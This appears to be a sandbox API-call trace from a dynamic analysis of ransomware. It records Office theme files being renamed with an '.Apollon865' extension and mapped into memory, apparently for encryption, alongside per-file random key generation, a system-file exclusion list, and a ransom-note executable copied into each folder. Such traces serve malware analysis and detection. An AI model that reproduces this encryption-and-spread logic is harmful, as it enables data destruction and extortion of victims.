	[0073.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.997] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=961) returned 1
	[0073.998] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.998] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.998] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.998] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0074.000] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0074.001] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0074.001] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0074.001] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.002] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Trek.xml" | out: lpString1="Trek.xml") returned="Trek.xml"
	[0074.002] lstrlenW (lpString="Trek.xml") returned 8
	[0074.002] lstrlenW (lpString="Apollon865") returned 10
	[0074.002] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.Apollon865") returned 85
	[0074.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.apollon865"), dwFlags=0x1) returned 1
	[0074.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0074.003] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=959) returned 1
	[0074.003] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0074.004] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0074.004] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.004] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0074.005] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0074.006] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0074.007] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0074.007] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.007] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Urban.xml" | out: lpString1="Urban.xml") returned="Urban.xml"
	[0074.007] lstrlenW (lpString="Urban.xml") returned 9
	[0074.008] lstrlenW (lpString="Apollon865") returned 10
	[0074.008] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.Apollon865") returned 86
	[0074.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.apollon865"), dwFlags=0x1) returned 1
	[0074.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0074.009] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=960) returned 1
	[0074.009] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0074.010] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0074.010] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.010] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0074.011] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0074.012] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0074.012] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0074.012] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.013] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Verve.xml" | out: lpString1="Verve.xml") returned="Verve.xml"
	[0074.013] lstrlenW (lpString="Verve.xml") returned 9
	[0074.013] lstrlenW (lpString="Apollon865") returned 10
	[0074.013] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.Apollon865") returned 86
	[0074.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.apollon865"), dwFlags=0x1) returned 1
	[0074.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0074.019] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=960) returned 1
	[0074.019] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0074.020] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0074.020] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.020] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0074.022] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0074.022] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0074.023] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0074.023] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.023] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Waveform.xml" | out: lpString1="Waveform.xml") returned="Waveform.xml"
	[0074.023] lstrlenW (lpString="Waveform.xml") returned 12
	[0074.023] lstrlenW (lpString="Apollon865") returned 10
	[0074.024] lstrcmpiW (lpString1="veform.xml", lpString2="Apollon865") returned 1
	[0074.024] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.Apollon865") returned 89
	[0074.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.apollon865"), dwFlags=0x1) returned 1
	[0074.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0074.027] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=963) returned 1
	[0074.027] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0074.028] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0074.028] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.028] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0074.029] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0074.030] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0074.030] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0074.030] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0074.031] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\CLIPART", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART"
	[0074.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0074.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0074.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART") returned 41
	[0074.031] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART"
	[0074.031] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.037] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.037] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4432d050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4432d050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0074.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.037] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.037] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.037] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4432d050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4432d050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.037] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.037] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.037] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.037] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.037] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4432d050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4432d050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0074.037] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0074.037] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="Apollon865.txt.exe") returned 1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2=".") returned 1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="..") returned 1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="windows") returned -1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="bootmgr") returned 1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="temp") returned -1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="pagefile.sys") returned 1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="boot") returned 1
	[0074.037] lstrcmpiW (lpString1="PUB60COR", lpString2="ids.txt") returned 1
	[0074.038] lstrcmpiW (lpString1="PUB60COR", lpString2="ntuser.dat") returned 1
	[0074.038] lstrcmpiW (lpString1="PUB60COR", lpString2="perflogs") returned 1
	[0074.038] lstrcmpiW (lpString1="PUB60COR", lpString2="MSBuild") returned 1
	[0074.038] lstrlenW (lpString="PUB60COR") returned 8
	[0074.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\*") returned 43
	[0074.038] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="PUB60COR" | out: lpString1="PUB60COR") returned="PUB60COR"
	[0074.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0074.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afce8
	[0074.038] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0074.038] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="Apollon865.txt.exe") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2=".") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="..") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="windows") returned -1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="bootmgr") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="temp") returned -1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="pagefile.sys") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="boot") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="ids.txt") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="ntuser.dat") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="perflogs") returned 1
	[0074.038] lstrcmpiW (lpString1="Publisher", lpString2="MSBuild") returned 1
	[0074.038] lstrlenW (lpString="Publisher") returned 9
	[0074.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned 50
	[0074.038] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Publisher" | out: lpString1="Publisher") returned="Publisher"
	[0074.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0074.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afd58
	[0074.039] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0074.039] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0074.039] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0074.039] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7970
	[0074.039] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher"
	[0074.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0074.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0074.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned 51
	[0074.039] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher"
	[0074.039] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.039] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.043] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x443531b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x443531b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0074.043] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.043] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.043] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.043] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x443531b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x443531b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.043] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.043] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.043] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.044] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.044] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="Apollon865.txt.exe") returned 1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2=".") returned 1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="..") returned 1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="windows") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="bootmgr") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="temp") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="pagefile.sys") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="boot") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="ids.txt") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="ntuser.dat") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="perflogs") returned -1
	[0074.044] lstrcmpiW (lpString1="Backgrounds", lpString2="MSBuild") returned -1
	[0074.044] lstrlenW (lpString="Backgrounds") returned 11
	[0074.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*") returned 53
	[0074.044] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="Backgrounds" | out: lpString1="Backgrounds") returned="Backgrounds"
	[0074.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0074.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf5f0
	[0074.044] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0074.044] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443531b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x443531b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
